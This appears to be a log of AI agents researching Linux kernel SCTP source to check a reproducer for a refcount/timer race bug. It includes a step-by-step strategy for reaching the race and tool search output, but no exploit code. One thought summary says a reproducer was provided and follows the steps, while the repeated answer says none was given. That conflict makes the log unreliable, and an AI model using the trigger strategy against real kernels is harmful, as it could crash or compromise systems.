1986:					SCTP_STATE(SCTP_STATE_ESTABLISHED));
1987:			sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(repl));
1988:		}
1989:		return SCTP_DISPOSITION_CONSUME;
1990:	
1991:	nomem_ev:
1992:		sctp_chunk_free(repl);
1993:	nomem:
1994:		return SCTP_DISPOSITION_NOMEM;
1995:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 18348
							output: 46
							thoughts: 810
						

**My Thought Process Regarding the SCTP Race Condition**

Ah, I've been examining this `sctp_sf_do_dupcook_a` function, and it's quite illuminating! I'm seeing that the specific logic within this block perfectly aligns with the scenario described in the prompt's strategy.

Here's how I understand it, from my perspective:

If the server finds itself in the `SHUTDOWN_SENT` state, and concurrently, the associated socket is in the process of closing—perhaps due to a user initiating a `shutdown(fd, SHUT_WR)` or even a full `close(fd)`—and then, critically, it receives a duplicate `COOKIE_ECHO` that's processed by Action A, this code path will trigger a call to `sctp_sf_do_9_2_start_shutdown`.

This is where it gets interesting. `sctp_sf_do_9_2_start_shutdown` is designed to add a `SCTP_CMD_TIMER_START` command for the `T2_SHUTDOWN` timer. Now, the key is that because the server is *already* in the `SHUTDOWN_SENT` state, the `T2_SHUTDOWN` timer is already active and pending. This means that the `timer_pending(timer)` check within `SCTP_CMD_TIMER_START` will indeed be satisfied. It's a perfect alignment of states and events.

So, the overall strategy that leads to this race condition, as I've pieced it together, unfolds like this:

1.  **Association Establishment:** First, a standard SCTP association is successfully established between the client and the server.
2.  **Window Filling (or Constraint):** The client then proceeds to send a significant amount of data. The goal here is to fill the server's receive window, or perhaps the server has explicitly set its `SO_RCVBUF` to 0, effectively limiting its capacity.
3.  **Data in Client's Outqueue:** It's important to note that while the server's receive window might be full, the data sent by the client is still sitting in its own outqueue, awaiting acknowledgment.
4.  **Server Initiates Shutdown:** The server decides to initiate a shutdown process by calling `shutdown(fd, SHUT_WR)`. This action results in the transmission of a `SHUTDOWN` chunk.
5.  **Client Receives Shutdown (Partial):** The client receives the `SHUTDOWN` chunk. However, because it still has unacknowledged data pending in its outqueue, it enters the `SHUTDOWN_RECEIVED` state but *does not* immediately send a `SHUTDOWN_ACK`.
6.  **Server Enters SHUTDOWN_SENT:** The server, having sent its `SHUTDOWN` chunk, transitions to the `SHUTDOWN_SENT` state and simultaneously starts its `T2_SHUTDOWN` timer.
7.  **Client Spawns New Connections:** Here's a crucial step. The client then proceeds to spawn new threads, each intending to send fresh `INIT` chunks. The critical detail is that these new `INIT` chunks originate from the *exact same IP address and port* as the original association.
8.  **Sending a New INIT:** If the client is using `SOCK_SEQPACKET` and issues a `sendto` call, this will indeed result in the transmission of a new `INIT` chunk.
9.  **Server Receives Unexpected INIT:** The server receives this new `INIT` chunk. Because it's coming from the same IP and port, it's treated as an unexpected `INIT`. The server's response is to send back an `INIT_ACK` that includes a cookie. This cookie is specifically crafted with tie-tags that match the existing, active association.
10. **Client Responds with COOKIE_ECHO:** The new client socket, upon receiving this `INIT_ACK`, interprets it correctly and responds with a `COOKIE_ECHO` chunk.
11. **Server Receives Duplicate COOKIE_ECHO (Action A):** The server receives this `COOKIE_ECHO`. Since the tie-tags match the existing association, this triggers Action A, which is handled by `sctp_sf_do_dupcook_a`.
12. **Calling `sctp_sf_do_9_2_start_shutdown`:** As I noted earlier, `sctp_sf_do_dupcook_a` then calls `sctp_sf_do_9_2_start_shutdown`. This function, in turn, executes the `SCTP_CMD_TIMER_START` command for the `T2_SHUTDOWN` timer.
13. **The Race Condition is Hit!** This is precisely where the race condition manifests. The `T2_SHUTDOWN` timer is already pending because the server entered `SHUTDOWN_SENT` in step 6. The attempt to start it again via `SCTP_CMD_TIMER_START` now interacts with the already-running timer in a way that leads to the observed problematic behavior.

The reproducer provided in the prompt meticulously follows these steps, demonstrating exactly how this specific sequence of events can be triggered.

map[Question:Does the provided C reproducer in the prompt correctly implement the strategy to trigger the SCTP refcount bug? Are there any missing includes or issues with it?]

map[Answer:No C reproducer code was provided in the prompt. To evaluate whether the reproducer correctly triggers a specific SCTP refcount bug or identify missing includes/issues, please provide the C code snippet or test program.

Below is guidance on common requirements and pitfalls for SCTP C reproducers:

### 1. Essential Header Files & Includes
Standard userspace SCTP reproducers typically require:
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>       /* If testing race conditions */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>   /* SCTP definitions, options, structs */
#include <arpa/inet.h>
```
*Note*: If `<netinet/sctp.h>` is used alongside `libsctp` utility calls (`sctp_sendmsg`, `sctp_recvmsg`, `sctp_peeloff`, `sctp_connectx`), compile with `-lsctp`. Alternatively, raw `sendmsg()`, `recvmsg()`, and `setsockopt(..., IPPROTO_SCTP, ...)` can be used with Linux UAPI headers (`<linux/sctp.h>`).

### 2. Common Issues in SCTP Bug Reproducers
- **Socket Type**: SCTP supports one-to-one (`SOCK_STREAM`) and one-to-many (`SOCK_SEQPACKET`). Many refcount bugs (e.g. peeloff, association migration, duplicate cookies) specifically target `SOCK_SEQPACKET`.
- **Module Availability**: Ensure `sctp` is loaded (`modprobe sctp`) or the reproducer sets up network namespaces if manipulating sysctls (e.g., `net.sctp.association_max_retrans`).
- **Timing & Races**: Refcount bugs often stem from asynchronous teardown, duplicate chunk reception, or concurrent socket close/peeloff operations. Relying solely on `sleep()` without synchronization may cause intermittent failures.
- **Error Handling & Return Values**: Missing checks on `socket()`, `bind()`, `listen()`, `connect()`, or `sendmsg()` can cause silent failures before the target kernel code path is reached.

Please share the reproducer code and the specific target bug/scenario for a comprehensive analysis.]

core

map[Answer:No C reproducer code was provided in the prompt. To evaluate whether the reproducer correctly triggers a specific SCTP refcount bug or identify missing includes/issues, please provide the C code snippet or test program.

Below is guidance on common requirements and pitfalls for SCTP C reproducers:

### 1. Essential Header Files & Includes
Standard userspace SCTP reproducers typically require:
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>       /* If testing race conditions */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>   /* SCTP definitions, options, structs */
#include <arpa/inet.h>
```
*Note*: If `<netinet/sctp.h>` is used alongside `libsctp` utility calls (`sctp_sendmsg`, `sctp_recvmsg`, `sctp_peeloff`, `sctp_connectx`), compile with `-lsctp`. Alternatively, raw `sendmsg()`, `recvmsg()`, and `setsockopt(..., IPPROTO_SCTP, ...)` can be used with Linux UAPI headers (`<linux/sctp.h>`).

### 2. Common Issues in SCTP Bug Reproducers
- **Socket Type**: SCTP supports one-to-one (`SOCK_STREAM`) and one-to-many (`SOCK_SEQPACKET`). Many refcount bugs (e.g. peeloff, association migration, duplicate cookies) specifically target `SOCK_SEQPACKET`.
- **Module Availability**: Ensure `sctp` is loaded (`modprobe sctp`) or the reproducer sets up network namespaces if manipulating sysctls (e.g., `net.sctp.association_max_retrans`).
- **Timing & Races**: Refcount bugs often stem from asynchronous teardown, duplicate chunk reception, or concurrent socket close/peeloff operations. Relying solely on `sleep()` without synchronization may cause intermittent failures.
- **Error Handling & Return Values**: Missing checks on `socket()`, `bind()`, `listen()`, `connect()`, or `sendmsg()` can cause silent failures before the target kernel code path is reached.

Please share the reproducer code and the specific target bug/scenario for a comprehensive analysis.]

You are a capable Linux kernel developer tasked with researching complex questions
about kernel source code. You will be given a concrete question, and need to provide
a concrete answer.
Use tools extensively while researching the question. Don't make assumptions,
or rely on your previous knowledge about the kernel source code, use available tools
to access the actual source code.
Use all available sources of information:
 - kernel source code
 - documentation in the Documentation dir in the source tree

Do not guess file names or file paths and attempt to read them without
verifying their existence first using content search or directory listing tools.
If a file, symbol, or directory is not found via content search (grepper) or
directory listing (codesearch-dir-index), treat it as completely absent.
Do not attempt to guess alternative names, extensions, or directories.

Tool Selection Guidelines:
1. For C functions, structs, and variables: Prefer codesearch-definition-source
   or codesearch-struct-layout FIRST to retrieve clean, exact definitions
   without line-number guessing.
2. If symbol lookup fails (e.g., preprocessor macros, macro-generated code, or
   disabled #ifdef branches), fall back to read-file or grepper.
3. For file headers, #include directives, preprocessor macro definitions, and
   non-C files (Kconfig, Makefiles, docs): Use read-file or grepper directly.

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Does the provided C reproducer in the prompt correctly implement the strategy to trigger the SCTP refcount bug? Are there any missing includes or issues with it?

gemini-3.7-flash

							input: 2341
							output: 54
							thoughts: 294
						

**My Thought Process Regarding the SCTP Refcount Bug Reproducer**

Okay, so I've just encountered a user prompt that asks me to evaluate a C reproducer for an SCTP refcount bug, specifically questioning its correctness, completeness (missing includes), and potential issues. My immediate reaction is a moment of pause, a "wait a minute." My internal monologue goes: "Did the user *actually* provide a C reproducer within the prompt text itself?"

I then engage in a careful re-reading of the prompt. I meticulously scan the provided text, looking for any snippet of C code, any file content, or any inline reproducer that might have been included. As I confirm that there's no such code directly embedded, my thought process shifts to an investigative mode.

My next step is to consider *how* the user might have intended for me to access this reproducer, or *where* I should be looking for it. I begin to formulate a mental checklist of potential sources:

*   **Git Commits:** Could the reproducer be part of a specific commit message or a code change described in a commit?
*   **Bug Reports/Tracking Systems:** Is there a known bug report associated with this, and could the reproducer be attached to that?
*   **Selftests:** The prompt mentions `tools/testing/selftests/net/sctp`, which is a strong indicator. I consider searching within this directory structure for any tests related to SCTP refcount bugs.
*   **Kernel Repository Search:** Beyond selftests, I think about broader searches within the entire kernel repository. This could involve looking for specific keywords like "SCTP refcount bug" or "refcount reproducer" in the codebase, commit history, or configuration files.
*   **Specific File Paths:** The mention of `net/sctp` specifically directs my attention to the SCTP networking code within the kernel.

To operationalize this, I'm thinking about the tools I'd use. A quick mental simulation involves commands like:

*   `grepper` (or `grep` if I were in a shell) to search for "refcount" within `tools/testing/selftests/net/sctp/` or the broader `net/sctp/` directory.
*   Examining `git log` or `git blame` for recent changes or discussions related to SCTP refcounting.
*   Searching for recent bug reports or mailing list discussions that might reference such a reproducer.

Essentially, my thought process is a rapid iteration of "What was provided?" followed by "What *might* have been intended, and where would I look for it?" This leads me to the conclusion that without an explicit C reproducer in the prompt, I cannot directly answer the user's questions about its correctness or completeness. My next logical step would be to inform the user of this missing piece and guide them on how to provide it, or ask for clarification on where to locate it.

map[Expression:refcount PathPrefix:net/sctp]

map[Output:net/sctp/associola.c=51=static struct sctp_association *sctp_association_init(
--
net/sctp/associola.c-75-	/* Initialize the object handling fields.  */
net/sctp/associola.c:76:	refcount_set(&asoc->base.refcnt, 1);
net/sctp/associola.c-77-
--
net/sctp/associola.c=851=void sctp_association_hold(struct sctp_association *asoc)
net/sctp/associola.c-852-{
net/sctp/associola.c:853:	refcount_inc(&asoc->base.refcnt);
net/sctp/associola.c-854-}
--
net/sctp/associola.c=859=void sctp_association_put(struct sctp_association *asoc)
net/sctp/associola.c-860-{
net/sctp/associola.c:861:	if (refcount_dec_and_test(&asoc->base.refcnt))
net/sctp/associola.c-862-		sctp_association_destroy(asoc);
--
net/sctp/auth.c=47=void sctp_auth_key_put(struct sctp_auth_bytes *key)
--
net/sctp/auth.c-51-
net/sctp/auth.c:52:	if (refcount_dec_and_test(&key->refcnt)) {
net/sctp/auth.c-53-		kfree_sensitive(key);
--
net/sctp/auth.c=59=static struct sctp_auth_bytes *sctp_auth_create_key(__u32 key_len, gfp_t gfp)
--
net/sctp/auth.c-72-	key->len = key_len;
net/sctp/auth.c:73:	refcount_set(&key->refcnt, 1);
net/sctp/auth.c-74-	SCTP_DBG_OBJCNT_INC(keys);
--
net/sctp/auth.c=80=struct sctp_shared_key *sctp_auth_shkey_create(__u16 key_id, gfp_t gfp)
--
net/sctp/auth.c-89-	INIT_LIST_HEAD(&new->key_list);
net/sctp/auth.c:90:	refcount_set(&new->refcnt, 1);
net/sctp/auth.c-91-	new->key_id = key_id;
--
net/sctp/auth.c=105=void sctp_auth_shkey_release(struct sctp_shared_key *sh_key)
net/sctp/auth.c-106-{
net/sctp/auth.c:107:	if (refcount_dec_and_test(&sh_key->refcnt))
net/sctp/auth.c-108-		sctp_auth_shkey_destroy(sh_key);
--
net/sctp/auth.c=111=void sctp_auth_shkey_hold(struct sctp_shared_key *sh_key)
net/sctp/auth.c-112-{
net/sctp/auth.c:113:	refcount_inc(&sh_key->refcnt);
net/sctp/auth.c-114-}
--
net/sctp/auth.c=947=int sctp_auth_deact_key_id(struct sctp_endpoint *ep,
--
net/sctp/auth.c-987-	if (asoc && !list_empty(&key->key_list) &&
net/sctp/auth.c:988:	    refcount_read(&key->refcnt) == 1) {
net/sctp/auth.c-989-		struct sctp_ulpevent *ev;
--
net/sctp/chunk.c=35=static void sctp_datamsg_init(struct sctp_datamsg *msg)
net/sctp/chunk.c-36-{
net/sctp/chunk.c:37:	refcount_set(&msg->refcnt, 1);
net/sctp/chunk.c-38-	msg->send_failed = 0;
--
net/sctp/chunk.c=119=static void sctp_datamsg_hold(struct sctp_datamsg *msg)
net/sctp/chunk.c-120-{
net/sctp/chunk.c:121:	refcount_inc(&msg->refcnt);
net/sctp/chunk.c-122-}
--
net/sctp/chunk.c=125=void sctp_datamsg_put(struct sctp_datamsg *msg)
net/sctp/chunk.c-126-{
net/sctp/chunk.c:127:	if (refcount_dec_and_test(&msg->refcnt))
net/sctp/chunk.c-128-		sctp_datamsg_destroy(msg);
--
net/sctp/endpointola.c=50=static struct sctp_endpoint *sctp_endpoint_init(struct sctp_endpoint *ep,
--
net/sctp/endpointola.c-72-	/* Initialize the basic object fields. */
net/sctp/endpointola.c:73:	refcount_set(&ep->base.refcnt, 1);
net/sctp/endpointola.c-74-	ep->base.dead = false;
--
net/sctp/endpointola.c=233=int sctp_endpoint_hold(struct sctp_endpoint *ep)
net/sctp/endpointola.c-234-{
net/sctp/endpointola.c:235:	return refcount_inc_not_zero(&ep->base.refcnt);
net/sctp/endpointola.c-236-}
--
net/sctp/endpointola.c=241=void sctp_endpoint_put(struct sctp_endpoint *ep)
net/sctp/endpointola.c-242-{
net/sctp/endpointola.c:243:	if (refcount_dec_and_test(&ep->base.refcnt))
net/sctp/endpointola.c-244-		sctp_endpoint_destroy(ep);
--
net/sctp/output.c=420=static void sctp_packet_gso_append(struct sk_buff *head, struct sk_buff *skb)
--
net/sctp/output.c-430-	head->len += skb->len;
net/sctp/output.c:431:	refcount_add(skb->truesize, &head->sk->sk_wmem_alloc);
net/sctp/output.c-432-
--
net/sctp/outqueue.c=1038=static void sctp_outq_flush_data(struct sctp_flush_ctx *ctx,
--
net/sctp/outqueue.c-1108-			 chunk->skb ? chunk->skb->head : NULL, chunk->skb ?
net/sctp/outqueue.c:1109:			 refcount_read(&chunk->skb->users) : -1);
net/sctp/outqueue.c-1110-
--
net/sctp/proc.c=241=static int sctp_assocs_seq_show(struct seq_file *seq, void *v)
--
net/sctp/proc.c-283-		assoc->rtx_data_chunks,
net/sctp/proc.c:284:		refcount_read(&sk->sk_wmem_alloc),
net/sctp/proc.c-285-		READ_ONCE(sk->sk_wmem_queued),
--
net/sctp/sm_make_chunk.c=71=static void sctp_control_release_owner(struct sk_buff *skb)
--
net/sctp/sm_make_chunk.c-83-		if (shkey->deactivated && !list_empty(&shkey->key_list) &&
net/sctp/sm_make_chunk.c:84:		    refcount_read(&shkey->refcnt) == 2) {
net/sctp/sm_make_chunk.c-85-			struct sctp_ulpevent *ev;
--
net/sctp/sm_make_chunk.c=1367=struct sctp_chunk *sctp_chunkify(struct sk_buff *skb,
--
net/sctp/sm_make_chunk.c-1390-	SCTP_DBG_OBJCNT_INC(chunk);
net/sctp/sm_make_chunk.c:1391:	refcount_set(&retval->refcnt, 1);
net/sctp/sm_make_chunk.c-1392-
--
net/sctp/sm_make_chunk.c=1513=void sctp_chunk_hold(struct sctp_chunk *ch)
net/sctp/sm_make_chunk.c-1514-{
net/sctp/sm_make_chunk.c:1515:	refcount_inc(&ch->refcnt);
net/sctp/sm_make_chunk.c-1516-}
--
net/sctp/sm_make_chunk.c=1519=void sctp_chunk_put(struct sctp_chunk *ch)
net/sctp/sm_make_chunk.c-1520-{
net/sctp/sm_make_chunk.c:1521:	if (refcount_dec_and_test(&ch->refcnt))
net/sctp/sm_make_chunk.c-1522-		sctp_chunk_destroy(ch);
--
net/sctp/socket.c=125=static inline void sctp_set_owner_w(struct sctp_chunk *chunk)
--
net/sctp/socket.c-141-
net/sctp/socket.c:142:	refcount_add(sizeof(struct sctp_chunk), &sk->sk_wmem_alloc);
net/sctp/socket.c-143-	asoc->sndbuf_used += chunk->skb->truesize + sizeof(struct sctp_chunk);
--
net/sctp/socket.c=9085=struct sk_buff *sctp_skb_recv_datagram(struct sock *sk, int flags, int *err)
--
net/sctp/socket.c-9106-			if (skb)
net/sctp/socket.c:9107:				refcount_inc(&skb->users);
net/sctp/socket.c-9108-		} else {
--
net/sctp/socket.c=9213=static void sctp_wfree(struct sk_buff *skb)
--
net/sctp/socket.c-9221-	asoc->sndbuf_used -= skb->truesize + sizeof(struct sctp_chunk);
net/sctp/socket.c:9222:	WARN_ON(refcount_sub_and_test(sizeof(struct sctp_chunk),
net/sctp/socket.c-9223-				      &sk->sk_wmem_alloc));
--
net/sctp/socket.c-9232-		if (shkey->deactivated && !list_empty(&shkey->key_list) &&
net/sctp/socket.c:9233:		    refcount_read(&shkey->refcnt) == 2) {
net/sctp/socket.c-9234-			struct sctp_ulpevent *ev;
--
net/sctp/transport.c=40=static void sctp_transport_init(struct net *net,
--
net/sctp/transport.c-84-
net/sctp/transport.c:85:	refcount_set(&peer->refcnt, 1);
net/sctp/transport.c-86-}
--
net/sctp/transport.c=152=static void sctp_transport_destroy(struct sctp_transport *transport)
net/sctp/transport.c-153-{
net/sctp/transport.c:154:	if (unlikely(refcount_read(&transport->refcnt))) {
net/sctp/transport.c-155-		WARN(1, "Attempt to destroy undead transport %p!\n", transport);
--
net/sctp/transport.c=466=int sctp_transport_hold(struct sctp_transport *transport)
net/sctp/transport.c-467-{
net/sctp/transport.c:468:	return refcount_inc_not_zero(&transport->refcnt);
net/sctp/transport.c-469-}
--
net/sctp/transport.c=474=void sctp_transport_put(struct sctp_transport *transport)
net/sctp/transport.c-475-{
net/sctp/transport.c:476:	if (refcount_dec_and_test(&transport->refcnt))
net/sctp/transport.c-477-		sctp_transport_destroy(transport);
--
net/sctp/ulpevent.c=1059=void sctp_ulpevent_read_nxtinfo(const struct sctp_ulpevent *event,
--
net/sctp/ulpevent.c-1069-					     msghdr, skb);
net/sctp/ulpevent.c:1070:		/* Just release refcount here. */
net/sctp/ulpevent.c-1071-		kfree_skb(skb);
]

map[Dir:tools/testing/selftests/net]

map[Files:[bind_bhash.c bind_timewait.c bind_wildcard.c busy_poller.c cmsg_sender.c epoll_busy_poll.c fin_ack_lat.c getsockopt_iter.c hwtstamp_config.c icmp_rfc4884.c io_uring_zerocopy_tx.c ioam6_parser.c ip_defrag.c ip_local_port_range.c ipsec.c ipv6_flowlabel.c ipv6_flowlabel_mgr.c ipv6_fragmentation.c msg_zerocopy.c nat6to4.bpf.c netlink-dumps.c nettest.c proc_net_pktgen.c psock_fanout.c psock_lib.h psock_snd.c psock_tpacket.c reuseaddr_conflict.c reuseaddr_ports_exhausted.c reuseport_addr_any.c reuseport_bpf.c reuseport_bpf_cpu.c reuseport_bpf_numa.c reuseport_dualstack.c rxtimestamp.c sample_map_ret0.bpf.c sample_ret0.bpf.c sctp_hello.c sk_bind_sendto_listen.c sk_connect_zero_addr.c sk_so_peek_off.c skf_net_off.c so_incoming_cpu.c so_netns_cookie.c so_rcv_listener.c socket.c stress_reuseport_listen.c tap.c tcp_fastopen_backup_key.c tcp_inq.c tcp_mmap.c tcp_port_share.c tfo.c timestamping.c tls.c tun.c tuntap_helpers.h txring_overwrite.c txtimestamp.c udpgso.c udpgso_bench_rx.c udpgso_bench_tx.c] Subdirs:[af_unix bench can forwarding hsr lib mptcp netfilter openvswitch ovpn packetdrill ppp rds tcp_ao]]

gemini-3.7-flash

							input: 6806
							output: 30
							thoughts: 67
						

**A Deep Dive into SCTP Self-Tests**

My immediate inclination upon encountering a potential issue or exploring the realm of SCTP testing within the Linux kernel source tree is to be thorough and systematic. I want to ensure I'm not missing any relevant context or established patterns. Therefore, my first thought is to orient myself within the testing infrastructure. I'm specifically interested in the `tools/testing/selftests/net/` directory, as this is the most probable location for network-related self-tests. My goal here is to locate the `sctp_hello.c` file, as its name suggests it's likely a foundational or introductory test case for SCTP. However, I also recognize that a single file might not tell the whole story. Thus, I broaden my search to include "other tests" within that same directory. This is a pragmatic approach, as I'm aware that functionality is often tested through a suite of interconnected tests rather than just one isolated example. Furthermore, to catch anything that might be less obviously categorized, I then perform a wider search for "sctp" within the entire `tools/testing/selftests/` directory. This ensures that even if SCTP tests are located in a different subdirectory (perhaps due to a broader categorization strategy), I will still discover them. My reasoning is that a comprehensive understanding of how SCTP is tested requires examining all relevant test cases, not just those I initially expect to find. This multi-pronged approach – starting specific, then broadening to related tests, and finally performing a general search – is how I ensure a complete and accurate picture of the testing landscape.

map[Expression:sctp PathPrefix:tools/testing/selftests]

map[Output:tools/testing/selftests/drivers/net/hw/rss_flow_label.py=122=def _check_v4_flow_types(cfg):
tools/testing/selftests/drivers/net/hw/rss_flow_label.py:123:    for fl_type in ["tcp4", "udp4", "ah4", "esp4", "sctp4"]:
tools/testing/selftests/drivers/net/hw/rss_flow_label.py-124-        try:
--
tools/testing/selftests/net/.gitignore=35=rxtimestamp
tools/testing/selftests/net/.gitignore:36:sctp_hello
tools/testing/selftests/net/.gitignore-37-sk_bind_sendto_listen
--
tools/testing/selftests/net/Makefile=9=TEST_PROGS := \
--
tools/testing/selftests/net/Makefile-87-	rxtimestamp.sh \
tools/testing/selftests/net/Makefile:88:	sctp_vrf.sh \
tools/testing/selftests/net/Makefile-89-	skf_net_off.sh \
--
tools/testing/selftests/net/Makefile=142=TEST_GEN_FILES := \
--
tools/testing/selftests/net/Makefile-160-	rxtimestamp \
tools/testing/selftests/net/Makefile:161:	sctp_hello \
tools/testing/selftests/net/Makefile-162-	skf_net_off \
--
tools/testing/selftests/net/netfilter/.gitignore=5=conntrack_reverse_clash
tools/testing/selftests/net/netfilter/.gitignore:6:sctp_collision
tools/testing/selftests/net/netfilter/.gitignore-7-nf_queue
--
tools/testing/selftests/net/netfilter/Makefile=9=TEST_PROGS := \
--
tools/testing/selftests/net/netfilter/Makefile-18-	conntrack_reverse_clash.sh \
tools/testing/selftests/net/netfilter/Makefile:19:	conntrack_sctp_collision.sh \
tools/testing/selftests/net/netfilter/Makefile-20-	conntrack_tcp_unreplied.sh \
--
tools/testing/selftests/net/netfilter/Makefile=48=TEST_GEN_FILES = \
--
tools/testing/selftests/net/netfilter/Makefile-53-	nf_queue \
tools/testing/selftests/net/netfilter/Makefile:54:	sctp_collision \
tools/testing/selftests/net/netfilter/Makefile-55-	udpclash \
--
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh-5-# 1. Stale INIT_ACK capture:
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh:6:#   14:35:47.655279 IP CLIENT_IP.PORT > SERVER_IP.PORT: sctp (1) [INIT] [init tag: 2017837359]
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh:7:#   14:35:48.353250 IP SERVER_IP.PORT > CLIENT_IP.PORT: sctp (1) [INIT] [init tag: 1187206187]
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh:8:#   14:35:48.353275 IP CLIENT_IP.PORT > SERVER_IP.PORT: sctp (1) [INIT ACK] [init tag: 2017837359]
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh:9:#   14:35:48.353283 IP SERVER_IP.PORT > CLIENT_IP.PORT: sctp (1) [COOKIE ECHO]
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh:10:#   14:35:48.353977 IP CLIENT_IP.PORT > SERVER_IP.PORT: sctp (1) [COOKIE ACK]
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh:11:#   14:35:48.855335 IP SERVER_IP.PORT > CLIENT_IP.PORT: sctp (1) [INIT ACK] [init tag: 164579970]
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh-12-#   (Delayed)
--
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh-14-# 2. Stale INIT capture:
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh:15:#   14:35:48.353250 IP SERVER_IP.PORT > CLIENT_IP.PORT: sctp (1) [INIT] [init tag: 1187206187]
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh:16:#   14:35:48.353275 IP CLIENT_IP.PORT > SERVER_IP.PORT: sctp (1) [INIT ACK] [init tag: 2017837359]
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh:17:#   14:35:48.353283 IP SERVER_IP.PORT > CLIENT_IP.PORT: sctp (1) [COOKIE ECHO]
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh:18:#   14:35:48.353977 IP CLIENT_IP.PORT > SERVER_IP.PORT: sctp (1) [COOKIE ACK]
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh:19:#   14:35:47.655279 IP CLIENT_IP.PORT > SERVER_IP.PORT: sctp (1) [INIT] [init tag: 2017837359]
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh-20-#   (Delayed)
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh:21:#   14:35:48.855335 IP SERVER_IP.PORT > CLIENT_IP.PORT: sctp (1) [INIT ACK] [init tag: 164579970]
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh-22-#
--
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh=28=checktool "tc -h" "run test without tc"
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh:29:checktool "modprobe -q sctp" "load sctp module"
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh-30-
--
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh=63=conf_delay()
--
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh-70-	# use a smaller number for assoc's max_retrans to reproduce the issue
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh:71:	ip net exec "$CLIENT_NS" sysctl -wq net.sctp.association_max_retrans=3
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh-72-
--
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh=105=do_test() {
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh:106:	ip net exec "$SERVER_NS" ./sctp_collision server \
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh-107-		$SERVER_IP $SERVER_PORT $CLIENT_IP $CLIENT_PORT &
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh:108:	ip net exec "$CLIENT_NS" ./sctp_collision client \
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh-109-		$CLIENT_IP $CLIENT_PORT $SERVER_IP $SERVER_PORT
--
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh-112-# NOTE: one way to work around the issue is set a smaller hb_interval
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh:113:# ip net exec $CLIENT_NS sysctl -wq net.sctp.hb_interval=3500
tools/testing/selftests/net/netfilter/conntrack_sctp_collision.sh-114-
--
tools/testing/selftests/net/netfilter/nft_queue.sh=31=checktool "socat -h" "run test without socat"
tools/testing/selftests/net/netfilter/nft_queue.sh-32-
tools/testing/selftests/net/netfilter/nft_queue.sh:33:modprobe -q sctp
tools/testing/selftests/net/netfilter/nft_queue.sh-34-
--
tools/testing/selftests/net/netfilter/nft_queue.sh=385=EOF
--
tools/testing/selftests/net/netfilter/nft_queue.sh-410-
tools/testing/selftests/net/netfilter/nft_queue.sh:411:sctp_listener_ready()
tools/testing/selftests/net/netfilter/nft_queue.sh-412-{
--
tools/testing/selftests/net/netfilter/nft_queue.sh=432=wait_and_check_retval()
--
tools/testing/selftests/net/netfilter/nft_queue.sh-448-
tools/testing/selftests/net/netfilter/nft_queue.sh:449:test_sctp_forward()
tools/testing/selftests/net/netfilter/nft_queue.sh-450-{
--
tools/testing/selftests/net/netfilter/nft_queue.sh=452=flush ruleset
tools/testing/selftests/net/netfilter/nft_queue.sh:453:table inet sctpq {
tools/testing/selftests/net/netfilter/nft_queue.sh-454-        chain forward {
tools/testing/selftests/net/netfilter/nft_queue.sh-455-        type filter hook forward priority 0; policy accept;
tools/testing/selftests/net/netfilter/nft_queue.sh:456:                sctp dport 12345 queue num 10
tools/testing/selftests/net/netfilter/nft_queue.sh-457-        }
--
tools/testing/selftests/net/netfilter/nft_queue.sh=459=EOF
--
tools/testing/selftests/net/netfilter/nft_queue.sh-462-
tools/testing/selftests/net/netfilter/nft_queue.sh:463:	busywait "$BUSYWAIT_TIMEOUT" sctp_listener_ready "$ns2"
tools/testing/selftests/net/netfilter/nft_queue.sh-464-
--
tools/testing/selftests/net/netfilter/nft_queue.sh-470-
tools/testing/selftests/net/netfilter/nft_queue.sh:471:	if ! ip netns exec "$nsrouter" nft delete table inet sctpq; then
tools/testing/selftests/net/netfilter/nft_queue.sh:472:		echo "FAIL:  Could not delete sctpq table"
tools/testing/selftests/net/netfilter/nft_queue.sh-473-		exit 1
--
tools/testing/selftests/net/netfilter/nft_queue.sh-475-
tools/testing/selftests/net/netfilter/nft_queue.sh:476:	wait_and_check_retval "$rpid" "sctp and nfqueue in forward chain" "$tthen"
tools/testing/selftests/net/netfilter/nft_queue.sh-477-	kill "$nfqpid"
tools/testing/selftests/net/netfilter/nft_queue.sh-478-
